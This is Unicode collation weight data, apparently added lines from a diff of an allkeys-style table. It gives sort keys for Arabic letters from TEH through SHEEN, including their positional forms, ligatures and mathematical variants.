+FCA4  ; [.231D.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE TEH WITH MEEM INITIAL FORM
+FCE3  ; [.231D.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE TEH WITH MEEM MEDIAL FORM
+FC72  ; [.231D.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE TEH WITH MEEM FINAL FORM
+FC0E  ; [.231D.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE TEH WITH MEEM ISOLATED FORM
+FD55  ; [.231D.0020.0017][.23A3.0020.0017][.2325.0020.0017] # ARABIC LIGATURE TEH WITH MEEM WITH JEEM INITIAL FORM
+FD56  ; [.231D.0020.0017][.23A3.0020.0017][.232C.0020.0017] # ARABIC LIGATURE TEH WITH MEEM WITH HAH INITIAL FORM
+FD57  ; [.231D.0020.0017][.23A3.0020.0017][.232D.0020.0017] # ARABIC LIGATURE TEH WITH MEEM WITH KHAH INITIAL FORM
+FDA4  ; [.231D.0020.0019][.23A3.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE TEH WITH MEEM WITH ALEF MAKSURA FINAL FORM
+FDA3  ; [.231D.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE TEH WITH MEEM WITH YEH FINAL FORM
+FC73  ; [.231D.0020.0019][.23A7.0020.0019] # ARABIC LIGATURE TEH WITH NOON FINAL FORM
+FCA5  ; [.231D.0020.0017][.23B1.0020.0017] # ARABIC LIGATURE TEH WITH HEH INITIAL FORM
+FCE4  ; [.231D.0020.0018][.23B1.0020.0018] # ARABIC LIGATURE TEH WITH HEH MEDIAL FORM
+FC74  ; [.231D.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE TEH WITH ALEF MAKSURA FINAL FORM
+FC0F  ; [.231D.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE TEH WITH ALEF MAKSURA ISOLATED FORM
+FC75  ; [.231D.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE TEH WITH YEH FINAL FORM
+FC10  ; [.231D.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE TEH WITH YEH ISOLATED FORM
+062B  ; [.231E.0020.0002] # ARABIC LETTER THEH
+1EE16 ; [.231E.0020.0005] # ARABIC MATHEMATICAL THEH
+1EE36 ; [.231E.0020.0005] # ARABIC MATHEMATICAL INITIAL THEH
+1EE76 ; [.231E.0020.0005] # ARABIC MATHEMATICAL STRETCHED THEH
+1EE96 ; [.231E.0020.0005] # ARABIC MATHEMATICAL LOOPED THEH
+1EEB6 ; [.231E.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK THEH
+FE9B  ; [.231E.0020.0017] # ARABIC LETTER THEH INITIAL FORM
+FE9C  ; [.231E.0020.0018] # ARABIC LETTER THEH MEDIAL FORM
+FE9A  ; [.231E.0020.0019] # ARABIC LETTER THEH FINAL FORM
+FE99  ; [.231E.0020.001A] # ARABIC LETTER THEH ISOLATED FORM
+FC11  ; [.231E.0020.001A][.2325.0020.001A] # ARABIC LIGATURE THEH WITH JEEM ISOLATED FORM
+FC76  ; [.231E.0020.0019][.2346.0020.0019] # ARABIC LIGATURE THEH WITH REH FINAL FORM
+FC77  ; [.231E.0020.0019][.2347.0020.0019] # ARABIC LIGATURE THEH WITH ZAIN FINAL FORM
+FCA6  ; [.231E.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE THEH WITH MEEM INITIAL FORM
+FCE5  ; [.231E.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE THEH WITH MEEM MEDIAL FORM
+FC78  ; [.231E.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE THEH WITH MEEM FINAL FORM
+FC12  ; [.231E.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE THEH WITH MEEM ISOLATED FORM
+FC79  ; [.231E.0020.0019][.23A7.0020.0019] # ARABIC LIGATURE THEH WITH NOON FINAL FORM
+FCE6  ; [.231E.0020.0018][.23B1.0020.0018] # ARABIC LIGATURE THEH WITH HEH MEDIAL FORM
+FC7A  ; [.231E.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE THEH WITH ALEF MAKSURA FINAL FORM
+FC13  ; [.231E.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE THEH WITH ALEF MAKSURA ISOLATED FORM
+FC7B  ; [.231E.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE THEH WITH YEH FINAL FORM
+FC14  ; [.231E.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE THEH WITH YEH ISOLATED FORM
+0679  ; [.231F.0020.0002] # ARABIC LETTER TTEH
+FB68  ; [.231F.0020.0017] # ARABIC LETTER TTEH INITIAL FORM
+FB69  ; [.231F.0020.0018] # ARABIC LETTER TTEH MEDIAL FORM
+FB67  ; [.231F.0020.0019] # ARABIC LETTER TTEH FINAL FORM
+FB66  ; [.231F.0020.001A] # ARABIC LETTER TTEH ISOLATED FORM
+067A  ; [.2320.0020.0002] # ARABIC LETTER TTEHEH
+FB60  ; [.2320.0020.0017] # ARABIC LETTER TTEHEH INITIAL FORM
+FB61  ; [.2320.0020.0018] # ARABIC LETTER TTEHEH MEDIAL FORM
+FB5F  ; [.2320.0020.0019] # ARABIC LETTER TTEHEH FINAL FORM
+FB5E  ; [.2320.0020.001A] # ARABIC LETTER TTEHEH ISOLATED FORM
+067C  ; [.2321.0020.0002] # ARABIC LETTER TEH WITH RING
+067D  ; [.2322.0020.0002] # ARABIC LETTER TEH WITH THREE DOTS ABOVE DOWNWARDS
+067F  ; [.2323.0020.0002] # ARABIC LETTER TEHEH
+FB64  ; [.2323.0020.0017] # ARABIC LETTER TEHEH INITIAL FORM
+FB65  ; [.2323.0020.0018] # ARABIC LETTER TEHEH MEDIAL FORM
+FB63  ; [.2323.0020.0019] # ARABIC LETTER TEHEH FINAL FORM
+FB62  ; [.2323.0020.001A] # ARABIC LETTER TEHEH ISOLATED FORM
+08B8  ; [.2324.0020.0002] # ARABIC LETTER TEH WITH SMALL TEH ABOVE
+062C  ; [.2325.0020.0002] # ARABIC LETTER JEEM
+1EE02 ; [.2325.0020.0005] # ARABIC MATHEMATICAL JEEM
+1EE22 ; [.2325.0020.0005] # ARABIC MATHEMATICAL INITIAL JEEM
+1EE42 ; [.2325.0020.0005] # ARABIC MATHEMATICAL TAILED JEEM
+1EE62 ; [.2325.0020.0005] # ARABIC MATHEMATICAL STRETCHED JEEM
+1EE82 ; [.2325.0020.0005] # ARABIC MATHEMATICAL LOOPED JEEM
+1EEA2 ; [.2325.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK JEEM
+FE9F  ; [.2325.0020.0017] # ARABIC LETTER JEEM INITIAL FORM
+FEA0  ; [.2325.0020.0018] # ARABIC LETTER JEEM MEDIAL FORM
+FE9E  ; [.2325.0020.0019] # ARABIC LETTER JEEM FINAL FORM
+FE9D  ; [.2325.0020.001A] # ARABIC LETTER JEEM ISOLATED FORM
+FCA7  ; [.2325.0020.0017][.232C.0020.0017] # ARABIC LIGATURE JEEM WITH HAH INITIAL FORM
+FC15  ; [.2325.0020.001A][.232C.0020.001A] # ARABIC LIGATURE JEEM WITH HAH ISOLATED FORM
+FDA6  ; [.2325.0020.0019][.232C.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE JEEM WITH HAH WITH ALEF MAKSURA FINAL FORM
+FDBE  ; [.2325.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE JEEM WITH HAH WITH YEH FINAL FORM
+FDFB  ; [.2325.0020.001A][.239C.0020.001A][*0209.0020.001A][.2325.0020.001A][.239C.0020.001A][.230B.0020.001A][.239C.0020.001A][.23B1.0020.001A] # ARABIC LIGATURE JALLAJALALOUHOU
+FCA8  ; [.2325.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE JEEM WITH MEEM INITIAL FORM
+FC16  ; [.2325.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE JEEM WITH MEEM ISOLATED FORM
+FD59  ; [.2325.0020.0017][.23A3.0020.0017][.232C.0020.0017] # ARABIC LIGATURE JEEM WITH MEEM WITH HAH INITIAL FORM
+FD58  ; [.2325.0020.0019][.23A3.0020.0019][.232C.0020.0019] # ARABIC LIGATURE JEEM WITH MEEM WITH HAH FINAL FORM
+FDA7  ; [.2325.0020.0019][.23A3.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE JEEM WITH MEEM WITH ALEF MAKSURA FINAL FORM
+FDA5  ; [.2325.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE JEEM WITH MEEM WITH YEH FINAL FORM
+FD1D  ; [.2325.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE JEEM WITH ALEF MAKSURA FINAL FORM
+FD01  ; [.2325.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE JEEM WITH ALEF MAKSURA ISOLATED FORM
+FD1E  ; [.2325.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE JEEM WITH YEH FINAL FORM
+FD02  ; [.2325.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE JEEM WITH YEH ISOLATED FORM
+0683  ; [.2326.0020.0002] # ARABIC LETTER NYEH
+FB78  ; [.2326.0020.0017] # ARABIC LETTER NYEH INITIAL FORM
+FB79  ; [.2326.0020.0018] # ARABIC LETTER NYEH MEDIAL FORM
+FB77  ; [.2326.0020.0019] # ARABIC LETTER NYEH FINAL FORM
+FB76  ; [.2326.0020.001A] # ARABIC LETTER NYEH ISOLATED FORM
+0684  ; [.2327.0020.0002] # ARABIC LETTER DYEH
+FB74  ; [.2327.0020.0017] # ARABIC LETTER DYEH INITIAL FORM
+FB75  ; [.2327.0020.0018] # ARABIC LETTER DYEH MEDIAL FORM
+FB73  ; [.2327.0020.0019] # ARABIC LETTER DYEH FINAL FORM
+FB72  ; [.2327.0020.001A] # ARABIC LETTER DYEH ISOLATED FORM
+0686  ; [.2328.0020.0002] # ARABIC LETTER TCHEH
+FB7C  ; [.2328.0020.0017] # ARABIC LETTER TCHEH INITIAL FORM
+FB7D  ; [.2328.0020.0018] # ARABIC LETTER TCHEH MEDIAL FORM
+FB7B  ; [.2328.0020.0019] # ARABIC LETTER TCHEH FINAL FORM
+FB7A  ; [.2328.0020.001A] # ARABIC LETTER TCHEH ISOLATED FORM
+06BF  ; [.2329.0020.0002] # ARABIC LETTER TCHEH WITH DOT ABOVE
+0687  ; [.232A.0020.0002] # ARABIC LETTER TCHEHEH
+FB80  ; [.232A.0020.0017] # ARABIC LETTER TCHEHEH INITIAL FORM
+FB81  ; [.232A.0020.0018] # ARABIC LETTER TCHEHEH MEDIAL FORM
+FB7F  ; [.232A.0020.0019] # ARABIC LETTER TCHEHEH FINAL FORM
+FB7E  ; [.232A.0020.001A] # ARABIC LETTER TCHEHEH ISOLATED FORM
+08A2  ; [.232B.0020.0002] # ARABIC LETTER JEEM WITH TWO DOTS ABOVE
+062D  ; [.232C.0020.0002] # ARABIC LETTER HAH
+1EE07 ; [.232C.0020.0005] # ARABIC MATHEMATICAL HAH
+1EE27 ; [.232C.0020.0005] # ARABIC MATHEMATICAL INITIAL HAH
+1EE47 ; [.232C.0020.0005] # ARABIC MATHEMATICAL TAILED HAH
+1EE67 ; [.232C.0020.0005] # ARABIC MATHEMATICAL STRETCHED HAH
+1EE87 ; [.232C.0020.0005] # ARABIC MATHEMATICAL LOOPED HAH
+1EEA7 ; [.232C.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK HAH
+FEA3  ; [.232C.0020.0017] # ARABIC LETTER HAH INITIAL FORM
+FEA4  ; [.232C.0020.0018] # ARABIC LETTER HAH MEDIAL FORM
+FEA2  ; [.232C.0020.0019] # ARABIC LETTER HAH FINAL FORM
+FEA1  ; [.232C.0020.001A] # ARABIC LETTER HAH ISOLATED FORM
+FCA9  ; [.232C.0020.0017][.2325.0020.0017] # ARABIC LIGATURE HAH WITH JEEM INITIAL FORM
+FC17  ; [.232C.0020.001A][.2325.0020.001A] # ARABIC LIGATURE HAH WITH JEEM ISOLATED FORM
+FDBF  ; [.232C.0020.0019][.2325.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE HAH WITH JEEM WITH YEH FINAL FORM
+FCAA  ; [.232C.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE HAH WITH MEEM INITIAL FORM
+FC18  ; [.232C.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE HAH WITH MEEM ISOLATED FORM
+FD5B  ; [.232C.0020.0019][.23A3.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE HAH WITH MEEM WITH ALEF MAKSURA FINAL FORM
+FD5A  ; [.232C.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE HAH WITH MEEM WITH YEH FINAL FORM
+FD1B  ; [.232C.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE HAH WITH ALEF MAKSURA FINAL FORM
+FCFF  ; [.232C.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE HAH WITH ALEF MAKSURA ISOLATED FORM
+FD1C  ; [.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE HAH WITH YEH FINAL FORM
+FD00  ; [.232C.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE HAH WITH YEH ISOLATED FORM
+062E  ; [.232D.0020.0002] # ARABIC LETTER KHAH
+1EE17 ; [.232D.0020.0005] # ARABIC MATHEMATICAL KHAH
+1EE37 ; [.232D.0020.0005] # ARABIC MATHEMATICAL INITIAL KHAH
+1EE57 ; [.232D.0020.0005] # ARABIC MATHEMATICAL TAILED KHAH
+1EE77 ; [.232D.0020.0005] # ARABIC MATHEMATICAL STRETCHED KHAH
+1EE97 ; [.232D.0020.0005] # ARABIC MATHEMATICAL LOOPED KHAH
+1EEB7 ; [.232D.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK KHAH
+FEA7  ; [.232D.0020.0017] # ARABIC LETTER KHAH INITIAL FORM
+FEA8  ; [.232D.0020.0018] # ARABIC LETTER KHAH MEDIAL FORM
+FEA6  ; [.232D.0020.0019] # ARABIC LETTER KHAH FINAL FORM
+FEA5  ; [.232D.0020.001A] # ARABIC LETTER KHAH ISOLATED FORM
+FCAB  ; [.232D.0020.0017][.2325.0020.0017] # ARABIC LIGATURE KHAH WITH JEEM INITIAL FORM
+FC19  ; [.232D.0020.001A][.2325.0020.001A] # ARABIC LIGATURE KHAH WITH JEEM ISOLATED FORM
+FC1A  ; [.232D.0020.001A][.232C.0020.001A] # ARABIC LIGATURE KHAH WITH HAH ISOLATED FORM
+FCAC  ; [.232D.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE KHAH WITH MEEM INITIAL FORM
+FC1B  ; [.232D.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE KHAH WITH MEEM ISOLATED FORM
+FD1F  ; [.232D.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE KHAH WITH ALEF MAKSURA FINAL FORM
+FD03  ; [.232D.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE KHAH WITH ALEF MAKSURA ISOLATED FORM
+FD20  ; [.232D.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE KHAH WITH YEH FINAL FORM
+FD04  ; [.232D.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE KHAH WITH YEH ISOLATED FORM
+0681  ; [.232E.0020.0002] # ARABIC LETTER HAH WITH HAMZA ABOVE
+0682  ; [.232F.0020.0002] # ARABIC LETTER HAH WITH TWO DOTS VERTICAL ABOVE
+0685  ; [.2330.0020.0002] # ARABIC LETTER HAH WITH THREE DOTS ABOVE
+0757  ; [.2331.0020.0002] # ARABIC LETTER HAH WITH TWO DOTS ABOVE
+0758  ; [.2332.0020.0002] # ARABIC LETTER HAH WITH THREE DOTS POINTING UPWARDS BELOW
+076E  ; [.2333.0020.0002] # ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH BELOW
+076F  ; [.2334.0020.0002] # ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH AND TWO DOTS
+0772  ; [.2335.0020.0002] # ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH ABOVE
+077C  ; [.2336.0020.0002] # ARABIC LETTER HAH WITH EXTENDED ARABIC-INDIC DIGIT FOUR BELOW
+062F  ; [.2337.0020.0002] # ARABIC LETTER DAL
+1EE03 ; [.2337.0020.0005] # ARABIC MATHEMATICAL DAL
+1EE83 ; [.2337.0020.0005] # ARABIC MATHEMATICAL LOOPED DAL
+1EEA3 ; [.2337.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK DAL
+FEAA  ; [.2337.0020.0019] # ARABIC LETTER DAL FINAL FORM
+FEA9  ; [.2337.0020.001A] # ARABIC LETTER DAL ISOLATED FORM
+0630  ; [.2338.0020.0002] # ARABIC LETTER THAL
+1EE18 ; [.2338.0020.0005] # ARABIC MATHEMATICAL THAL
+1EE98 ; [.2338.0020.0005] # ARABIC MATHEMATICAL LOOPED THAL
+1EEB8 ; [.2338.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK THAL
+FEAC  ; [.2338.0020.0019] # ARABIC LETTER THAL FINAL FORM
+FEAB  ; [.2338.0020.001A] # ARABIC LETTER THAL ISOLATED FORM
+FC5B  ; [.2338.0020.001A][.0000.0098.001A] # ARABIC LIGATURE THAL WITH SUPERSCRIPT ALEF ISOLATED FORM
+0688  ; [.2339.0020.0002] # ARABIC LETTER DDAL
+FB89  ; [.2339.0020.0019] # ARABIC LETTER DDAL FINAL FORM
+FB88  ; [.2339.0020.001A] # ARABIC LETTER DDAL ISOLATED FORM
+0689  ; [.233A.0020.0002] # ARABIC LETTER DAL WITH RING
+068A  ; [.233B.0020.0002] # ARABIC LETTER DAL WITH DOT BELOW
+068B  ; [.233C.0020.0002] # ARABIC LETTER DAL WITH DOT BELOW AND SMALL TAH
+068C  ; [.233D.0020.0002] # ARABIC LETTER DAHAL
+FB85  ; [.233D.0020.0019] # ARABIC LETTER DAHAL FINAL FORM
+FB84  ; [.233D.0020.001A] # ARABIC LETTER DAHAL ISOLATED FORM
+068D  ; [.233E.0020.0002] # ARABIC LETTER DDAHAL
+FB83  ; [.233E.0020.0019] # ARABIC LETTER DDAHAL FINAL FORM
+FB82  ; [.233E.0020.001A] # ARABIC LETTER DDAHAL ISOLATED FORM
+08AE  ; [.233F.0020.0002] # ARABIC LETTER DAL WITH THREE DOTS BELOW
+068E  ; [.2340.0020.0002] # ARABIC LETTER DUL
+FB87  ; [.2340.0020.0019] # ARABIC LETTER DUL FINAL FORM
+FB86  ; [.2340.0020.001A] # ARABIC LETTER DUL ISOLATED FORM
+068F  ; [.2341.0020.0002] # ARABIC LETTER DAL WITH THREE DOTS ABOVE DOWNWARDS
+0690  ; [.2342.0020.0002] # ARABIC LETTER DAL WITH FOUR DOTS ABOVE
+06EE  ; [.2343.0020.0002] # ARABIC LETTER DAL WITH INVERTED V
+0759  ; [.2344.0020.0002] # ARABIC LETTER DAL WITH TWO DOTS VERTICALLY BELOW AND SMALL TAH
+075A  ; [.2345.0020.0002] # ARABIC LETTER DAL WITH INVERTED SMALL V BELOW
+0631  ; [.2346.0020.0002] # ARABIC LETTER REH
+1EE13 ; [.2346.0020.0005] # ARABIC MATHEMATICAL REH
+1EE93 ; [.2346.0020.0005] # ARABIC MATHEMATICAL LOOPED REH
+1EEB3 ; [.2346.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK REH
+FEAE  ; [.2346.0020.0019] # ARABIC LETTER REH FINAL FORM
+FEAD  ; [.2346.0020.001A] # ARABIC LETTER REH ISOLATED FORM
+FC5C  ; [.2346.0020.001A][.0000.0098.001A] # ARABIC LIGATURE REH WITH SUPERSCRIPT ALEF ISOLATED FORM
+FDF6  ; [.2346.0020.001A][.2359.0020.001A][.23B7.0020.001A][.239C.0020.001A] # ARABIC LIGATURE RASOUL ISOLATED FORM
+FDFC  ; [.2346.0020.001A][.23C7.0020.001A][.230B.0020.001A][.239C.0020.001A] # RIAL SIGN
+0632  ; [.2347.0020.0002] # ARABIC LETTER ZAIN
+1EE06 ; [.2347.0020.0005] # ARABIC MATHEMATICAL ZAIN
+1EE86 ; [.2347.0020.0005] # ARABIC MATHEMATICAL LOOPED ZAIN
+1EEA6 ; [.2347.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK ZAIN
+FEB0  ; [.2347.0020.0019] # ARABIC LETTER ZAIN FINAL FORM
+FEAF  ; [.2347.0020.001A] # ARABIC LETTER ZAIN ISOLATED FORM
+0691  ; [.2348.0020.0002] # ARABIC LETTER RREH
+FB8D  ; [.2348.0020.0019] # ARABIC LETTER RREH FINAL FORM
+FB8C  ; [.2348.0020.001A] # ARABIC LETTER RREH ISOLATED FORM
+0692  ; [.2349.0020.0002] # ARABIC LETTER REH WITH SMALL V
+0693  ; [.234A.0020.0002] # ARABIC LETTER REH WITH RING
+0694  ; [.234B.0020.0002] # ARABIC LETTER REH WITH DOT BELOW
+0695  ; [.234C.0020.0002] # ARABIC LETTER REH WITH SMALL V BELOW
+0696  ; [.234D.0020.0002] # ARABIC LETTER REH WITH DOT BELOW AND DOT ABOVE
+0697  ; [.234E.0020.0002] # ARABIC LETTER REH WITH TWO DOTS ABOVE
+0698  ; [.234F.0020.0002] # ARABIC LETTER JEH
+FB8B  ; [.234F.0020.0019] # ARABIC LETTER JEH FINAL FORM
+FB8A  ; [.234F.0020.001A] # ARABIC LETTER JEH ISOLATED FORM
+0699  ; [.2350.0020.0002] # ARABIC LETTER REH WITH FOUR DOTS ABOVE
+06EF  ; [.2351.0020.0002] # ARABIC LETTER REH WITH INVERTED V
+075B  ; [.2352.0020.0002] # ARABIC LETTER REH WITH STROKE
+076B  ; [.2353.0020.0002] # ARABIC LETTER REH WITH TWO DOTS VERTICALLY ABOVE
+076C  ; [.2354.0020.0002] # ARABIC LETTER REH WITH HAMZA ABOVE
+0771  ; [.2355.0020.0002] # ARABIC LETTER REH WITH SMALL ARABIC LETTER TAH AND TWO DOTS
+08AA  ; [.2356.0020.0002] # ARABIC LETTER REH WITH LOOP
+08B2  ; [.2357.0020.0002] # ARABIC LETTER ZAIN WITH INVERTED V ABOVE
+08B9  ; [.2358.0020.0002] # ARABIC LETTER REH WITH SMALL NOON ABOVE
+0633  ; [.2359.0020.0002] # ARABIC LETTER SEEN
+1EE0E ; [.2359.0020.0005] # ARABIC MATHEMATICAL SEEN
+1EE2E ; [.2359.0020.0005] # ARABIC MATHEMATICAL INITIAL SEEN
+1EE4E ; [.2359.0020.0005] # ARABIC MATHEMATICAL TAILED SEEN
+1EE6E ; [.2359.0020.0005] # ARABIC MATHEMATICAL STRETCHED SEEN
+1EE8E ; [.2359.0020.0005] # ARABIC MATHEMATICAL LOOPED SEEN
+1EEAE ; [.2359.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK SEEN
+FEB3  ; [.2359.0020.0017] # ARABIC LETTER SEEN INITIAL FORM
+FEB4  ; [.2359.0020.0018] # ARABIC LETTER SEEN MEDIAL FORM
+FEB2  ; [.2359.0020.0019] # ARABIC LETTER SEEN FINAL FORM
+FEB1  ; [.2359.0020.001A] # ARABIC LETTER SEEN ISOLATED FORM
+FCAD  ; [.2359.0020.0017][.2325.0020.0017] # ARABIC LIGATURE SEEN WITH JEEM INITIAL FORM
+FD34  ; [.2359.0020.0018][.2325.0020.0018] # ARABIC LIGATURE SEEN WITH JEEM MEDIAL FORM
+FC1C  ; [.2359.0020.001A][.2325.0020.001A] # ARABIC LIGATURE SEEN WITH JEEM ISOLATED FORM
+FD5D  ; [.2359.0020.0017][.2325.0020.0017][.232C.0020.0017] # ARABIC LIGATURE SEEN WITH JEEM WITH HAH INITIAL FORM
+FD5E  ; [.2359.0020.0019][.2325.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE SEEN WITH JEEM WITH ALEF MAKSURA FINAL FORM
+FCAE  ; [.2359.0020.0017][.232C.0020.0017] # ARABIC LIGATURE SEEN WITH HAH INITIAL FORM
+FD35  ; [.2359.0020.0018][.232C.0020.0018] # ARABIC LIGATURE SEEN WITH HAH MEDIAL FORM
+FC1D  ; [.2359.0020.001A][.232C.0020.001A] # ARABIC LIGATURE SEEN WITH HAH ISOLATED FORM
+FD5C  ; [.2359.0020.0017][.232C.0020.0017][.2325.0020.0017] # ARABIC LIGATURE SEEN WITH HAH WITH JEEM INITIAL FORM
+FCAF  ; [.2359.0020.0017][.232D.0020.0017] # ARABIC LIGATURE SEEN WITH KHAH INITIAL FORM
+FD36  ; [.2359.0020.0018][.232D.0020.0018] # ARABIC LIGATURE SEEN WITH KHAH MEDIAL FORM
+FC1E  ; [.2359.0020.001A][.232D.0020.001A] # ARABIC LIGATURE SEEN WITH KHAH ISOLATED FORM
+FDA8  ; [.2359.0020.0019][.232D.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE SEEN WITH KHAH WITH ALEF MAKSURA FINAL FORM
+FDC6  ; [.2359.0020.0019][.232D.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE SEEN WITH KHAH WITH YEH FINAL FORM
+FD2A  ; [.2359.0020.0019][.2346.0020.0019] # ARABIC LIGATURE SEEN WITH REH FINAL FORM
+FD0E  ; [.2359.0020.001A][.2346.0020.001A] # ARABIC LIGATURE SEEN WITH REH ISOLATED FORM
+FCB0  ; [.2359.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE SEEN WITH MEEM INITIAL FORM
+FCE7  ; [.2359.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE SEEN WITH MEEM MEDIAL FORM
+FC1F  ; [.2359.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE SEEN WITH MEEM ISOLATED FORM
+FD61  ; [.2359.0020.0017][.23A3.0020.0017][.2325.0020.0017] # ARABIC LIGATURE SEEN WITH MEEM WITH JEEM INITIAL FORM
+FD60  ; [.2359.0020.0017][.23A3.0020.0017][.232C.0020.0017] # ARABIC LIGATURE SEEN WITH MEEM WITH HAH INITIAL FORM
+FD5F  ; [.2359.0020.0019][.23A3.0020.0019][.232C.0020.0019] # ARABIC LIGATURE SEEN WITH MEEM WITH HAH FINAL FORM
+FD63  ; [.2359.0020.0017][.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE SEEN WITH MEEM WITH MEEM INITIAL FORM
+FD62  ; [.2359.0020.0019][.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE SEEN WITH MEEM WITH MEEM FINAL FORM
+FD31  ; [.2359.0020.0017][.23B1.0020.0017] # ARABIC LIGATURE SEEN WITH HEH INITIAL FORM
+FCE8  ; [.2359.0020.0018][.23B1.0020.0018] # ARABIC LIGATURE SEEN WITH HEH MEDIAL FORM
+FD17  ; [.2359.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE SEEN WITH ALEF MAKSURA FINAL FORM
+FCFB  ; [.2359.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE SEEN WITH ALEF MAKSURA ISOLATED FORM
+FD18  ; [.2359.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE SEEN WITH YEH FINAL FORM
+FCFC  ; [.2359.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE SEEN WITH YEH ISOLATED FORM
+0634  ; [.235A.0020.0002] # ARABIC LETTER SHEEN
+1EE14 ; [.235A.0020.0005] # ARABIC MATHEMATICAL SHEEN
+1EE34 ; [.235A.0020.0005] # ARABIC MATHEMATICAL INITIAL SHEEN
+1EE54 ; [.235A.0020.0005] # ARABIC MATHEMATICAL TAILED SHEEN
+1EE74 ; [.235A.0020.0005] # ARABIC MATHEMATICAL STRETCHED SHEEN
+1EE94 ; [.235A.0020.0005] # ARABIC MATHEMATICAL LOOPED SHEEN
+1EEB4 ; [.235A.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK SHEEN
+FEB7  ; [.235A.0020.0017] # ARABIC LETTER SHEEN INITIAL FORM
+FEB8  ; [.235A.0020.0018] # ARABIC LETTER SHEEN MEDIAL FORM
+FEB6  ; [.235A.0020.0019] # ARABIC LETTER SHEEN FINAL FORM
+FEB5  ; [.235A.0020.001A] # ARABIC LETTER SHEEN ISOLATED FORM
+FD2D  ; [.235A.0020.0017][.2325.0020.0017] # ARABIC LIGATURE SHEEN WITH JEEM INITIAL FORM
+FD37  ; [.235A.0020.0018][.2325.0020.0018] # ARABIC LIGATURE SHEEN WITH JEEM MEDIAL FORM
+FD25  ; [.235A.0020.0019][.2325.0020.0019] # ARABIC LIGATURE SHEEN WITH JEEM FINAL FORM
+FD09  ; [.235A.0020.001A][.2325.0020.001A] # ARABIC LIGATURE SHEEN WITH JEEM ISOLATED FORM
+FD69  ; [.235A.0020.0019][.2325.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE SHEEN WITH JEEM WITH YEH FINAL FORM
+FD2E  ; [.235A.0020.0017][.232C.0020.0017] # ARABIC LIGATURE SHEEN WITH HAH INITIAL FORM
+FD38  ; [.235A.0020.0018][.232C.0020.0018] # ARABIC LIGATURE SHEEN WITH HAH MEDIAL FORM
+FD26  ; [.235A.0020.0019][.232C.0020.0019] # ARABIC LIGATURE SHEEN WITH HAH FINAL FORM
+FD0A  ; [.235A.0020.001A][.232C.0020.001A] # ARABIC LIGATURE SHEEN WITH HAH ISOLATED FORM
+FD68  ; [.235A.0020.0017][.232C.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE SHEEN WITH HAH WITH MEEM INITIAL FORM
+FD67  ; [.235A.0020.0019][.232C.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE SHEEN WITH HAH WITH MEEM FINAL FORM
+FDAA  ; [.235A.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE SHEEN WITH HAH WITH YEH FINAL FORM
